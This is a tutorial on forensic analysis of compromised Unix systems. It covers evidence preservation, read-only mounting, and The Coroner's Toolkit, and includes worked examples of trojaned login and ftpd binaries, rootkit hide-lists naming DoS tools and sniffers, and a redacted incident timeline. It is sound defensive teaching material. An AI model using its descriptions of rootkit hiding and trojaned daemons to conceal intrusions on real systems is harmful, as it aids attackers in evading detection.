Basic Steps in Forensic Analysis of Unix Systems

Introduction

The preface to "Techniques of Crime Scene Investigation" begins:
One especially important element to crime solving is the effective use of science and technology. Science and technology applied to the solution of criminal acts, or forensic science, solves crimes by assisting police investigators to identify suspects and victims, clearing innocent persons of suspicion and ultimately bringing the wrongdoer to justice.

The science is methodical, premeditated actions to gather and analyze evidence. The technology, in the case of computers, are programs that suite particular roles in the gathering and analysis of evidence. The crime scene is the computer and the network (and other network devices) to which it is connected.

Your job, as a forensic investigator, is to do your best to comb through the sources of evidence -- disc drives, log files, boxes of removable media, whatever -- and do two things: make sure you preserve as much of this data in its original form, and to try to re-construct the events that occurred during a criminal act and produce a meaningful starting point for police and prosecutors to do their jobs.

Every incident will be different. In one case, you may simply assist in the seizure of a computer system, which is analyzed by law enforcement agencies. In another case, you may need to collect logs, file systems, and first hand reports of observed activity from dozens of systems in your organization, wade through all of this mountain of data, and reconstruct a timeline of events that yields a picture of a very large incident.

In addition, when you begin an incident investigation, you have no idea what you will find, or where. You may at first see nothing (especially if a "rootkit" is in place.) You may find a process running with open network sockets that doesn't show up on a similar system. You may find a partition showing 100% utilization, but adding things up with du only comes to 50%. You may find network saturation, originating from a single host (by way of tracing its ethernet address or packet counts on its switch port), a program eating up 100% of the CPU, but nothing in the file system with that name.

The steps taken in each of these instances may be entirely different, and a competent investigator will use experience and hunches about what to look for, and how, in order to get to the bottom of what is going on. They may not necessarily be followed 1, 2, 3. They may be way more than is necessary. They may just be the beginning of a detailed analysis that involves De-compilation of recovered programs and correlation of packet dumps from multiple networks.

Instead of being a "cookbook" that you follow, consider this a collection of techniques that a chef uses to construct a fabulous and unique gourmet meal. Once learned, you'll discover there are plenty more steps than just those listed here.

Its also important to remember that the steps in preserving and collecting evidence should be done slowly, carefully, methodically, and deliberately. The various pieces of data -- the evidence -- on the system are what will tell the story of what occurred. The first person to respond has the responsibility of ensuring that as little of this evidence as possible is damaged, thereby making it useless in contributing to a meaningful reconstruction of what occurred.

One thing is common to every investigation, and it cannot be stressed enough. Keep a regular old notebook handy and take careful notes of what you do during your investigation. These may be necessary to refresh your memory months later, to tell the same long story to a new law enforcement agent who takes over the case, or to refresh your own memory when/if it comes time to testify in court. It will also help you accurately calculate the cost of responding to the incident, avoiding the potentially exaggerated estimates that have been seen in some recent computer crime cases. Crimes deserve justice, but justice should be fair and reasonable.

As for the technology aspect, the description of basic forensic analysis steps provided here assumes Red Hat Linux on i386 (any Intel compatible motherboard) hardware. The steps are basically the same with other versions of Unix, but certain things specific to i386 systems (e.g., use of IDE controllers, limitations of the PC BIOS, etc.) will vary from other Unix workstations. Consult system administration or security manuals specific to your version of Unix.

It is helpful to set up a dedicated analysis system on which to do your analysis. An example analysis system in a forensic lab might be set up as follows:

(It can be argued that no services should be running, not even SSH, on your analysis systems. You can use netcat to pipe data into the system, encrypting it with DES or Blowfish stream cyphers for security. This is fine, provided you do not need remote access to the system.)

Another handy analysis system is a new laptop. An excellent way of taking the lab to the victim, a fast laptop with 10/100 combo ethernet card, an 18+GB hard drive, and a backpack with padded case, allows you to easily carry everything you need to obtain file system images (later written to tape for long-term storage), analyze them, display the results, crack intruder's crypt() passwords you encounter, etc.

A cross-over 10Base-T cable allows you to get by without a hub or switch, and to still use the network to communicate with the victim system on an isolated mini-network of two systems. (You will need to set up static route table entries in order for this to work.)

A Linux analysis system will work for analyzing file systems from several different operating systems that have supported file system under Linux, e.g., Sun UFS. You simply need to mount the file system with the proper type and options, e.g. (Sun UFS):


# mount -r -t ufs -o ufstype=sun /dev/hdd2 /mnt

Another benefit to Linux are "loopback" devices, which allow you to mount a file containing an image copy (obtained with dd) into the analysis system's file system. See Appendices A and B.

Tactical/Strategic goals

Your main goals as an incident investigator/coordinator at your site is to identify all the systems under your authority that are controlled by the intruder, understand the method(s) used to gain entry, and to then ensure that this knowledge is shared and all the affected systems are secured.

Possible prosecution is secondary to securing the affected systems, but as was stated earlier, as a forensic investigator the primary job is to preserve as much evidence at the crime scene in usable form as possible. This may mean taking the system out of service when everyone is yelling to get it back online.

If proper forensic data gathering is not addressed during the investigation, you can destroy any chance of a successful prosecution at a later date and will have no data on which to calculate a damage estimate. It is best to attempt to do an efficient, yet thorough, job of data preservation and analysis whenever possible.

You must learn how to balance these competing goals, and have policies and procedures in place to allow the process to go smoothly. Assuming that forensic examination is the top priority, what comes next?

Freezing the scene

As soon as you have evidence that indicates a compromise of the system, which cannot be refuted by other evidence you have at hand, you must assume the system has in fact been compromised and begin to gather evidence before it is destroyed, before logs expire, or before anything is altered.

There are various types of evidence, with differing levels of volatility, in places such as processor registers, kernel data structures in memory, swap space, network data structures and counters, user process memory and stacks, file system buffer cache, the file system itself, etc. It will be difficult (if not impossible) to gather all of this information at the precise moment that intruder activity is occurring, so it will be necessary to forgo certain types of information in preference to other more easily gathered information that can yield the same results (determining the method of intrusion, activity of the intruders, identity and source of the intruders, perhaps enough to locate and prosecute them...).

The easiest way to stop things from being altered is to shut down and halt the system.

Normally, Unix systems are shut down with the shutdown command. This is done to ensure that services are cleanly shut down, any cached file system buffers are flushed, users are notified, etc. That is fine if the system is intact, but on a compromised system all bets are off. Intruders have been known to rig compromised systems to delete some or all files on the system if the network interface is disabled or a normal shutdown procedure is followed.

To prevent such unwanted modification of the file system, it is often best to simply yank the power cord. Be aware, however, that doing this risks losing any cached data that has not yet been written to disc, network state, running process memory, access to kernel memory, contents of swap space, etc. This is a judgment call that you must carefully consider and make yourself.

If you do wish to gather what evidence you can from the system before powering it off, it helps to quickly run several common tools and capture everything by doing this in a script session (see man script). Commonly used tools/tactics would be:

See also the man pages for each utility to understand how they work.

Roadblocks to collecting data

Not only might the system be rigged to self-destruct, but it is increasingly common for several operating system commands, loadable kernel modules, dynamic link libraries, etc. to be modified or replaced. These modifications cause the operating system to "lie" to you, so the system will look as though nothing is wrong at all (while in reality the system is entirely out of your control, with multiple -- four, five... twelve! -- different "back doors" to allow the intruders back in.

You can try to get around any "root kits" that may be in place by using alternate programs, loadable kernel modules, libraries, etc., but you must really know what you are doing and what/when you can trust programs to tell you the truth. Always question your base assumptions about what you are seeing. It is often easier to simply remove the drive from the compromised system in question and mount it read-only in a system that has a trusted copy of the operating system (hopefully a similar release) before you analyze it.

You should also consider using the noexec and nodev options to prevent accidentally running programs from the partition being analyzed, and to ignore any device files it may contain. (Spend some time reading the "mount" man page to learn more.) Thus a typical mount command would look like this:


# mount -o ro,noexec,nodev /dev/hda1 /t

In further examples, these options will not be shown for the sake of brevity.

Chain of custody - handling evidence

Once the disc has been removed, however, you should take care to retain a provable chain of custody of the drive in the event that it (or I should say the evidence recovered from it) is required for use as evidence in a trial. Failing to do this has resulted in damage to investigations. You do this by keeping notes of who does what to the drive and when, by storing it in a secure location (e.g., locked file cabinet or safe), by making a bit-image copy (not a file system copy), by analyzing the copy rather than the original, and by using cryptographic checksums to prove integrity of the original contents.

A bit-image copy is one that gets every single bit of every byte on a device partition. The Unix utility to do this is dd (see man dd and the article in the reference section by Thomas Rude). Backup utilities like tar and cpio are fine for portability of file system across versions of Unix, and dump and restore are good for restoring individual files. They certainly have their place, but not when it comes to forensic analysis and data preservation. These utilities do not help you preserve slack space at the end of files, nor preserve what was formerly held in blocks of deleted files. Intruders are known to sometimes hide files in slack space, and to delete logs as soon as they break in to cover their tracks.

All actions performed during analysis should be logged. It is easy to do this using the script program, which keeps a log of all shell input/output. Script notes the beginning/ending time of the log, and use of the date command at various times during the session will log intermediate times.

Preparation for analysis

Whether you are going to analyze the system with or without special forensic tools, you must follow the same basic steps in preparing the file system for analysis.

You have now begun the note taking process, preserved and verified that you have unmodified original copies of the file system, and either made a copy for analysis (preferable) or are very carefully looking at the file system in read-only mode (only if you have no other choice.)

From this point, analysis can be done with standard Unix tools and some skill and/or with special tools designed for forensic data gathering and analysis. We will look at both ways.

Analysis with standard Unix tools

Assuming that you have clean copies of standard Unix tools (e.g., by using a special anti-rootkit toolkit or analysis system), we can continue from where we left off.

When looking at the /etc/passwd file, we noticed some suspicious accounts. Since one account ("y") uses the home directory /tmp, and another ("x") uses the root file system, these should be checked.


# ls -lat /mnt/tmp
total 156
drwxrwxrwt   6 root     root         1024 May  1 04:03 .
-r--r--r--   1 root     gdm            11 Apr 29 14:17 .X0-lock
drwxrwxrwt   2 root     gdm          1024 Apr 29 14:17 .X11-unix
drwxrwxrwt   2 xfs      xfs          1024 Apr 29 14:17 .font-unix
drwxr-xr-x  25 y        root         1024 Apr 28 23:47 ..
drwx------   2 user1    user1        1024 Apr 26 17:36 kfm-cache-500
-rw-rw-r--   1 user1    user1       12288 Apr 26 16:37 psdevtab
drwxrwxrwt   2 root     root         1024 Apr 21 11:12 .ICE-unix
-rwx------   1 root     root       138520 Apr 20 20:15 .fileMFpmnk

The oldest file has an unusual (at least not familiar) looking name and is executable. This warrants closer scrutiny. The easiest is to analyze the strings embedded in the program (deleted lines shown by ellipses).


# strings - /mnt/tmp/.fileMFpmnk
/lib/ld-linux.so.2
__gmon_start__
libpam.so.0
_DYNAMIC
_GLOBAL_OFFSET_TABLE_
pam_set_item
free
__ctype_tolower
malloc
strcmp
pam_end
pam_start
 . . .
File
Compressed
Block
Stream
[nowhere yet]
ftpd
:aAvdlLiop:P:qQr:sSt:T:u:wWX
bad value for -u
option -%c requires an argument
unknown option -%c ignored
 . . .
VirtualFTP Connect to: %s [%s]
banner
logfile
email
/var/log/xferlog
connection refused (server shut down) from %s
%s FTP server shut down -- please try again later.
lslong
/bin/ls -la
lsshort
lsplain
/bin/ls
greeting
full
terse
brief
%s FTP server (%s) ready.
%s FTP server ready.
FTP server ready.
 . . .
FTP LOGIN REFUSED (already logged in as %s) FROM %s, %s
Already logged in.
/etc/ftphosts
FTP LOGIN REFUSED (name in %s) FROM %s, %s
anonymous
FTP LOGIN REFUSED (anonymous ftp denied on default server) FROM %s, %s
FTP LOGIN REFUSED (ftp in denied-uid) FROM %s, %s
/etc/ftpusers
 . . .

These strings shows this appears to be an FTP server, usually named ftpd or in.ftpd. This may indicate a rootkit, or other form of trojan horse backdoor, is in place on this system. Configuration files and intruder files are often placed in the /dev directory, so a quick check there is also a good idea.


# cd /mnt/dev
# ls -lat | head -30
total 116
drwxr-xr-x   8 root     root        34816 Apr 30 04:02 .
srw-rw-rw-   1 root     root            0 Apr 30 04:02 log
crw-------   1 root     root       4,   1 Apr 29 14:17 tty1
crw-------   1 root     root       4,   2 Apr 29 14:17 tty2
crw-------   1 root     root       4,   3 Apr 29 14:17 tty3
crw-------   1 root     root       4,   4 Apr 29 14:17 tty4
crw-------   1 root     root       4,   5 Apr 29 14:17 tty5
crw-------   1 root     root       4,   6 Apr 29 14:17 tty6
srwxrwxrwx   1 root     root            0 Apr 29 14:17 gpmctl
srw-------   1 root     root            0 Apr 29 14:17 printer
crw-r--r--   1 root     root       1,   9 Apr 29 14:17 urandom
prw-------   1 root     root            0 Apr 29 14:14 initctl
drwxr-xr-x  25 y        root         1024 Apr 28 23:47 ..
crw-rw-rw-   1 root     tty        3,   2 Apr 28 11:44 ttyp2
crw-rw-rw-   1 root     tty        3,   0 Apr 28 11:43 ttyp0
crw-rw-rw-   1 root     tty        3,   1 Apr 28 11:43 ttyp1
-rw-r--r--   1 root     root           18 Apr 27 22:58 ptyp
drwxr-xr-x   4 r00t     root         1024 Apr 27 22:58 ...
crw-rw-rw-   1 root     tty        3,   4 Apr 27 12:02 ttyp4
crw-rw-rw-   1 root     tty        3,   3 Apr 27 11:56 ttyp3
crw-------   1 root     root       5,   1 Apr 21 11:09 console
lrwxrwxrwx   1 root     root            5 Apr 21 04:02 mouse -> psaux
drwxr-xr-x   2 root     root         1024 Apr 20 15:21 rev0
-rw-r--r--   1 root     root           33 Apr 20 15:21 ptyr
lrwxrwxrwx   1 root     root            9 Feb 28 02:23 isdnctrl -> isdnctrl0
lrwxrwxrwx   1 root     root            5 Feb 28 02:23 nftape -> nrft0
lrwxrwxrwx   1 root     root            3 Feb 28 02:23 fb -> fb0
lrwxrwxrwx   1 root     root           15 Feb 28 02:23 fd -> ../proc/self/fd
lrwxrwxrwx   1 root     root            4 Feb 28 02:23 ftape -> rft0
Broken pipe

Two notable things pop up: Normal files (indicated by "-" in the first character of a long ls listing) named "ptyp" and "ptyr", a directory named "rev0", and a hidden directory named "..."). These are highly suspect.


# less ptyr
 . . .
sp.pl
slice
ssynk4
rev0
bc1
snif

This rootkit configuration file for a trojan horse version of ls hides files or directories with names like sp.pl, slice (a DoS program), ssynk4 (a DoS program), rev0, bc1, and snif (probably a sniffer).

Since we are looking at things with a clean and trusted operating system, you can now use find and grep to identify where these files are located.


# cd /mnt

# find . -ls | grep -f etc/ptyr
282058    1 drwxr-xr-x   2 root     root         1024 Apr 20 15:21 ./dev/rev0
282059    1 -rw-r--r--   1 root     root            5 Apr 20 15:21 ./dev/rev0/sniff.pid
282061   20 -rw-r--r--   1 root     root        19654 Apr 20 20:23 ./dev/rev0/tcp.log
164753    9 -rwxr-xr-x   1 1080     users        9106 Sep 20  1999 ./dev/rev0/slice
164754    8 -rwxr-xr-x   1 1080     users        8174 Sep 20  1999 ./dev/rev0/smurf4
164755    8 -rwxr-xr-x   1 1080     users        7229 Sep 20  1999 ./dev/rev0/snif
164756    4 -rwxr-xr-x   1 1080     users        4060 Mar  5  1999 ./dev/rev0/sp.pl
164770    9 -rwxr-xr-x   1 root     1000         8268 Aug 10  1999 ./dev/.../blitznet/slice2
 61907    2 -rwxr-xr-x   1 root     root         2006 Mar 29  1999 ./usr/bin/sliceprint
255230    1 -rw-r--r--   1 root     root          900 Mar 21  1999 ./usr/include/python1.5/sliceobject.h

Some of these are obviously (or probably) legitimate system files, but the others are suspiciously abnormal in two directories in /dev:


# cd /mnt/dev
# less ptyp
 . . .
3 egg
3 egg
3 bnc

This is a rootkit configuration file for a trojan horse version of ps that hides processes containing the strings "egg" or "bnc". Watch for executables with these names.


# cd /mnt/dev
# ls -lR ...
...:
total 2699
drwxr-sr-x   2 root     1000         1024 Aug 10  1999 blitznet
-rw-r--r--   1 root     root        30720 Apr 26 04:07 blitznet.tar
-rwxrw-r--   1 r00t     user1       22360 Apr 27 22:58 bnc
-rw-r--r--   1 900      users     2693120 Apr 20 22:18 collision.tar
-rw-rw-r--   1 r00t     user1         976 Apr 27 22:58 example.conf
-rw-rw-r--   1 user1    user1           5 Apr 28 20:35 pid.bnc

.../blitznet:
total 22
-rw-r--r--   1 root     1000         3450 Aug 10  1999 README
-rw-r--r--   1 root     1000         1333 Aug 10  1999 blitz.c
-rw-r--r--   1 root     1000         3643 Aug 10  1999 blitzd.c
-rwxr-xr-x   1 root     1000         2258 Aug 10  1999 rush.tcl
-rwxr-xr-x   1 root     1000         8268 Aug 10  1999 slice2

There was a directory named /dev/rev0 that showed up. Let's see what it contains.


# ls -lR rev0
rev0:
total 51
-rwxr-xr-x   1 1080     users        9106 Sep 20  1999 slice
-rwxr-xr-x   1 1080     users        8174 Sep 20  1999 smurf4
-rwxr-xr-x   1 1080     users        7229 Sep 20  1999 snif
-rw-r--r--   1 root     root            5 Apr 20 15:21 sniff.pid
-rwxr-xr-x   1 1080     users        4060 Mar  5  1999 sp.pl
-rw-r--r--   1 root     root        19654 Apr 20 20:23 tcp.log


# cd /mnt/usr/bin
# ls -lat | head
total 89379
drwxr-xr-x   6 root     root        27648 Apr 21 04:01 .
-rwsr-xr-x   1 root     root        20164 Apr 15 19:23 chx
lrwxrwxrwx   1 root     root            8 Feb 28 02:28 netscape-navigator -> netscape
drwxrwxr-x   2 news     news         1024 Feb 28 02:25 rnews.libexec
drwxrwxr-x   2 news     news         1024 Feb 28 02:25 control
drwxrwxr-x   2 news     news         1024 Feb 28 02:25 filter
lrwxrwxrwx   1 root     root            4 Dec 30 13:06 elatex -> etex
lrwxrwxrwx   1 root     root            5 Dec 30 13:06 lambda -> omega
lrwxrwxrwx   1 root     root            3 Dec 30 13:06 latex -> tex
Broken pipe


# strings - chx
/lib/ld-linux.so.2
__gmon_start__
libcrypt.so.1
libpam.so.0
 . . .
/var/log/btmp
/usr/share/locale
util-linux
fh:p
login: -h for super-user only.
usage: login [-fp] [username]
/dev/tty
%s??
/dev/vcs
/dev/vcsa
login
login: PAM Failure, aborting: %s
Couldn't initialize PAM: %s
FAILED LOGIN %d FROM %s FOR %s, %s
Login incorrect
TOO MANY LOGIN TRIES (%d) FROM %s FOR %s, %s
FAILED LOGIN SESSION FROM %s FOR %s, %s
Login incorrect
.hushlogin
%s/%s
/var/run/utmp
/var/log/wtmp
/bin/sh
TERM
dumb
HOME
/usr/local/bin:/bin:/usr/bin
PATH
/sbin:/bin:/usr/sbin:/usr/bin
SHELL
/var/spool/mail
MAIL
LOGNAME
DIALUP AT %s BY %s
ROOT LOGIN ON %s FROM %s
ROOT LOGIN ON %s
LOGIN ON %s BY %s FROM %s
LOGIN ON %s BY %s
You have %smail.
new 
login: failure forking: %s
setuid() failed
No directory %s!
Logging in with home = "/".
login: no memory for shell script.
exec 
login: couldn't exec shell script: %s.
login: no shell: %s.
%s login: 
login name much too long.
NAME too long
login names may not start with '-'.
too many bare linefeeds.
EXCESSIVE linefeeds
Login timed out after %d seconds
/etc/securetty
/etc/motd
/var/log/lastlog
Last login: %.*s 
from %.*s
on %.*s
LOGIN FAILURE FROM %s, %s
LOGIN FAILURE ON %s, %s
%d LOGIN FAILURES FROM %s, %s
%d LOGIN FAILURES ON %s, %s
 . . .

The strings show similar prompts and error messages, plus a reference to "hushlogin", all features that make it look like a trojan horse version of login.

Symbol information is included in compiled/linked objects, unless removed with the strip program. You can see the symbols using the nm program.


# nm chx
chx: no symbols

... or not. In this case, they have been stripped. You may also learn something from dynamic link libraries. To see these, use ldd.


# ldd chx
	libcrypt.so.1 => /lib/libcrypt.so.1 (0x40018000)
	libpam.so.0 => /lib/libpam.so.0 (0x40045000)
	libdl.so.2 => /lib/libdl.so.2 (0x4004d000)
	libpam_misc.so.0 => /lib/libpam_misc.so.0 (0x40050000)
	libc.so.6 => /lib/libc.so.6 (0x40054000)
	/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

This shows use of the Pluggable Authentication Module (PAM) facilities and the crypt() libraries, so it has some need for user authentication facilities. This would be consistent with a login trojan horse.

This exercise has shown that a great deal can be learned by following simple evidence, but in many cases the intruders are more sophisticated and do not take such obvious actions as setting up user accounts and leaving files in easily located directories. More efficient and thorough tools may be necessary.

For examples of the use of some of the other tools mentioned at the beginning (e.g., lsof), see "The DoS Project's "trinoo" distributed denial of service attack tool" and "The "mstream" distributed denial of service attack tool".

The Coroner's Toolkit

The Coroner's Toolkit (or "TCT") is a package of utilities written by Dan Farmer and Wietse Venema for a one-time course they taught on computer forensics, sponsored by IBM.

The central programs in TCT are:

Of these tools, the most useful for ease of use and fruitful results, are the grave-robber and mactime programs. unrm (and lazarus, if you have the luxury of time and lots of disc space) are also useful for finding "lost" data, especially deleted system logs and intruder source code.

The most basic function of grave-robber is to traverse some/all of the file system and use the stat() function to obtain information from i-nodes in the file system. The mactime program then sorts the results and produces a time-ordered list of files, showing the time, which of the three timestamps -- modification, access, or change -- correspond, and shows file type, size, ownership, and path.

From this listing, you will be able to infer some of the activity on the system during the time the intruder(s) were on the system. This may include installation of trojan horse "backdoors" and replacement of operating system commands, downloading of tools, modification to system libraries or installed packages, creation of hidden directories, execution of operating system commands, and compilation/linking of programs. A great deal of information that otherwise is not logged can be gleaned from mactime output.

Before you assume that these tools will show you everything, and recover all deleted files, think again!. Read van Hauser's paper on "Anonymizing Unix Systems" for more on how intruders can make your job much more difficult.

Using The Coroner's Toolkit

Note: These instructions are based on the May 5, 2000 version of TCT, which is a pre-release Beta version. It is expected that these tools will be publicly released at some time in the future. The instructions here may or may not apply to the final release version, but you get the basic idea.

Example report of evidence found on a compromised system


We will now take a look at a more complete report of activity on a system, obtained from detailed analyses of sniffer log files, login records, file system timestamps, and file system contents from several systems/sites involved in the incident. This is from an actual compromise, but all identifying information has been edited out.

The following is an analysis of the root (only) partition from
XXXXXXXXXXXXXXXXXXXXXX as it existed after being taken off-line when it
was discovered it was compromised and likely running a network sniffer.
(A tar format copy of this file system is available on ISO 9660 CD-R).

The host XXXXXXXXXXXXXXXXXXXXXX was one of a series of 19 systems
suspected to have all been compromised by the same group of intruders
in early XXX XXXX, using the Linux mountd buffer overrun bug
documented in CERT Advisory CA-98.12:

	http://www.cert.org/advisories/CA-98.12.mountd.html

The drive was analyzed using the tools assembled by Dan Farmer and
Wietse Venema in their "Coroner's Toolkit", used in a class on Unix
forensic analysis.  See:  

	http://www.fish.com/security/forensics.html

On the analysis system, the disc appears as device /dev/hdc.  The first
partition, /dev/hdc1, was mounted "read-only" on the mount point "/x".
As a result, all paths will be preceded by this path, rather than simply
the single "/".  The actual drive geometry is shown here:

-----------------------------------------------------------------------------
Disk /dev/hdc: 32 heads, 63 sectors, 825 cylinders
Units = cylinders of 2016 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/hdc1             1       793    799312+  83  Linux
/dev/hdc2           794       825     32256   82  Linux swap
-----------------------------------------------------------------------------

As the bulk of intrusions appeared to start in early XXXXXXXX, sorted
timestamp listings were started from XXX 01.

There were no obvious signs modified/installed files which indicate the
method of intrusion between XXX 01 and XXX 04.  On XXX 04,
the Berkeley "r" utility remote login daemon ("in.rlogind") is modified.

-----------------------------------------------------------------------------
  XXX 04 XX 23:42:21   23421 m.. -rwxr-xr-x root     root     /x/usr/sbin/in.rlogind
-----------------------------------------------------------------------------

Examination of strings in this program show it to be a trojan horse
network daemon that uses the same string found on other systems
compromised by this group, the word "XXXXXXXX":

-----------------------------------------------------------------------------
 . . .
rlogind
ahLln
XXXXXXXX
Can't get peer name of remote host: %m
Can't get peer name of remote host
setsockopt (SO_KEEPALIVE): %m
setsockopt (IP_TOS): %m
hname != NULL
rlogind.c
 . . .
-----------------------------------------------------------------------------

Eight days later, it shows a change, at the same time the "chown"
program is run:

-----------------------------------------------------------------------------
  XXX 12 XX 11:04:10   23421 ..c -rwxr-xr-x root     root     /x/usr/sbin/in.rlogind
  XXX 12 XX 11:04:11    8156 .a. -rwxr-xr-x root     bin      /x/bin/chown
-----------------------------------------------------------------------------

A half hour later, a source file for a sniffer ("linsniff.c") is copied
into a hidden directory in /etc/ (named "/etc/..   ", that is
dot-dot-space-space-space, which is turned into "/etc/..___" for this
listing.)

The program is then compiled (include files indicating a network aware
program are accessed) and placed into a system directory in the file
"/usr/sbin/telnetd".

Four minutes later, an incoming ftp connection is apparently made
(as seen by an access to the "wu.ftpd" program and its process id
file):

-----------------------------------------------------------------------------
  XXX 12 XX 11:36:59    5127 m.c -rw-r--r-- root     root     /x/etc/..___/linsniff.c
  XXX 12 XX 11:37:08    4967 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/if.h
                        3143 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/if_arp.h
                        3145 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/if_ether.h
                        1910 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/ip.h
                        2234 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/route.h
                        1381 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/tcp.h
  XXX 12 XX 11:37:10    2048 ..c drwxr-xr-x root     bin      /x/usr/sbin
  XXX 12 XX 11:37:14    2048 m.. drwxr-xr-x root     bin      /x/usr/sbin
  XXX 12 XX 11:37:15    8179 m.c -rwxr-xr-x root     root     /x/usr/sbin/telnetd
  XXX 12 XX 11:37:48    8179 .a. -rwxr-xr-x root     root     /x/usr/sbin/telnetd
  XXX 12 XX 11:41:52   77476 .a. -rwxr-xr-x root     bin      /x/usr/sbin/wu.ftpd
  XXX 12 XX 11:42:08    4096 mac -rw-r--r-- root     root     /x/var/pid/ftp.pids-remote
-----------------------------------------------------------------------------

The login session that corresponds with this file system activity
can be identified from strings in the deleted file space of the root
partition on XXXXXXX:

-----------------------------------------------------------------------------
XXX 12 11:33:05 XXXX in.telnetd[1290]: connect from AAAAAA.XXXXXX.XXX
XXX 12 11:33:16 XXXX login: 1 LOGIN FAILURE FROM AAAAAA.XXXXXX.XXX, XXX
XXX 12 11:33:21 XXXX login: 2 LOGIN FAILURES FROM AAAAAA.XXXXXX.XXX, XXX
 . . .
XXX 12 11:34:02 XXXX su: XXXXX on /dev/ttyp1
XXX 12 11:41:52 XXXX wu.ftpd[1327]: connect from BBBBBBB.XXXXXX.XXX
XXX 12 11:41:57 XXXX ftpd[1327]: USER XXXXX
XXX 12 11:41:59 XXXX ftpd[1327]: PASS password
XXX 12 11:42:00 XXXX ftpd[1327]: SYST
XXX 12 11:42:01 XXXX ftpd[1327]: CWD /tmp
XXX 12 11:42:06 XXXX ftpd[1327]: TYPE Image
XXX 12 11:42:06 XXXX ftpd[1327]: PORT
XXX 12 11:42:06 XXXX ftpd[1327]: STOR mountd
XXX 12 11:42:08 XXXX ftpd[1327]: QUIT
XXX 12 11:42:08 XXXX ftpd[1327]: FTP session closed
XXX 12 12:00:25 XXXX in.telnetd[1342]: connect from AAAAAA.XXXXXX.XXX
XXX 12 12:00:25 XXXX telnetd[1342]: ttloop:  peer died: Try again
-----------------------------------------------------------------------------

Also seen in these logs is the downloading of the mountd buffer overrun
exploit (the file "mountd"), which they were using to break in to the
Linux systems. (Is this the exploit?  Need to check filesystem.)

From this, it can be infered that the intruder has an active session on
AAAAAA.XXXXXX.XXX [XXX.XXX.XXX.XX] that runs from some time prior to
11:33:05 to at least 12:00:25 PST (which is 14:33:05 to 15:00:25 EST,
the timezone in which XXXXXX.XXX resides).

Strings in "/usr/sbin/telnetd" show this to be the sniffer just
compiled.  The default sniffer log file name ("tcp.log") is also
visible:

-----------------------------------------------------------------------------
 . . .
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN]
%s => 
%s [%d]
eth0
tcp.log
cant open log
Exiting...
 . . .
-----------------------------------------------------------------------------

On XXXXXXXX 13, another network aware program is compiled, which uses
many more facilities than the sniffer.  (The fact that no binary appears
to exist with modification/change dates at this time may indicate it was
run and deleted as a tactic to hide its presence from the system owner,
or just subsequently deleted by the intruders or system administrator.)

-----------------------------------------------------------------------------
  XXX 13 XX 10:01:46   55492 .a. -rwxr-xr-x root     root     /x/usr/bin/gcc
                        6211 .a. -rw-r--r-- root     root     /x/usr/include/stdio.h
                       92696 .a. -rwxr-xr-x root     root     /x/usr/lib/gcc-lib/i486-linux/2.7.0/cpp
                        1003 .a. -rwxr-xr-x root     root     /x/usr/lib/gcc-lib/i486-linux/2.7.0/specs
  XXX 13 XX 10:01:47    2767 .a. -rw-r--r-- root     root     /x/usr/include/_G_config.h
                        1441 .a. -rw-r--r-- root     root     /x/usr/include/alloca.h
                        2040 .a. -rw-r--r-- root     root     /x/usr/include/confname.h
                        1267 .a. -rw-r--r-- root     root     /x/usr/include/errno.h
                        4186 .a. -rw-r--r-- root     root     /x/usr/include/features.h
                        4434 .a. -rw-r--r-- root     root     /x/usr/include/gnu/types.h
                        7917 .a. -rw-r--r-- root     root     /x/usr/include/libio.h
                         380 .a. -rw-r--r-- root     root     /x/usr/include/posix_opt.h
                        4419 .a. -rw-r--r-- root     root     /x/usr/include/signal.h
                       15134 .a. -rw-r--r-- root     root     /x/usr/include/stdlib.h
                        7537 .a. -rw-r--r-- root     root     /x/usr/include/string.h
                        3909 .a. -rw-r--r-- root     root     /x/usr/include/sys/cdefs.h
                        4538 .a. -rw-r--r-- root     root     /x/usr/include/sys/socket.h
                         321 .a. -rw-r--r-- root     root     /x/usr/include/sys/types.h
                       25129 .a. -rw-r--r-- root     root     /x/usr/include/unistd.h
                        8841 .a. -r--r--r-- root     root     /x/usr/lib/gcc-lib/i486-linux/2.7.0/include/stddef.h
                        1029 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/asm-i386/types.h
                        6298 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/errno.h
                        2065 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/signal.h
                        2794 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/socket.h
                        3846 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/sockios.h
                        2621 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/types.h
  XXX 13 XX 10:01:48    3668 .a. -rw-r--r-- root     root     /x/usr/include/arpa/inet.h
                         734 .a. -rw-r--r-- root     root     /x/usr/include/bytesex.h
                        1555 .a. -rw-r--r-- root     root     /x/usr/include/endian.h
                        3248 .a. -rw-r--r-- root     root     /x/usr/include/limits.h
                        6390 .a. -rw-r--r-- root     root     /x/usr/include/netdb.h
                        2663 .a. -rw-r--r-- root     root     /x/usr/include/netinet/in.h
                        3562 .a. -rw-r--r-- root     root     /x/usr/include/paths.h
                        2643 .a. -rw-r--r-- root     root     /x/usr/include/posix1_lim.h
                        2680 .a. -rw-r--r-- root     root     /x/usr/include/posix2_lim.h
                        3777 .a. -rw-r--r-- root     root     /x/usr/include/sys/bitypes.h
                         709 .a. -rw-r--r-- root     root     /x/usr/include/sys/param.h
                        2315 .a. -rw-r--r-- root     root     /x/usr/include/sys/time.h
                        5273 .a. -rw-r--r-- root     root     /x/usr/include/sys/wait.h
                        2852 .a. -rw-r--r-- root     root     /x/usr/include/time.h
                        1156 .a. -rw-r--r-- root     root     /x/usr/include/waitflags.h
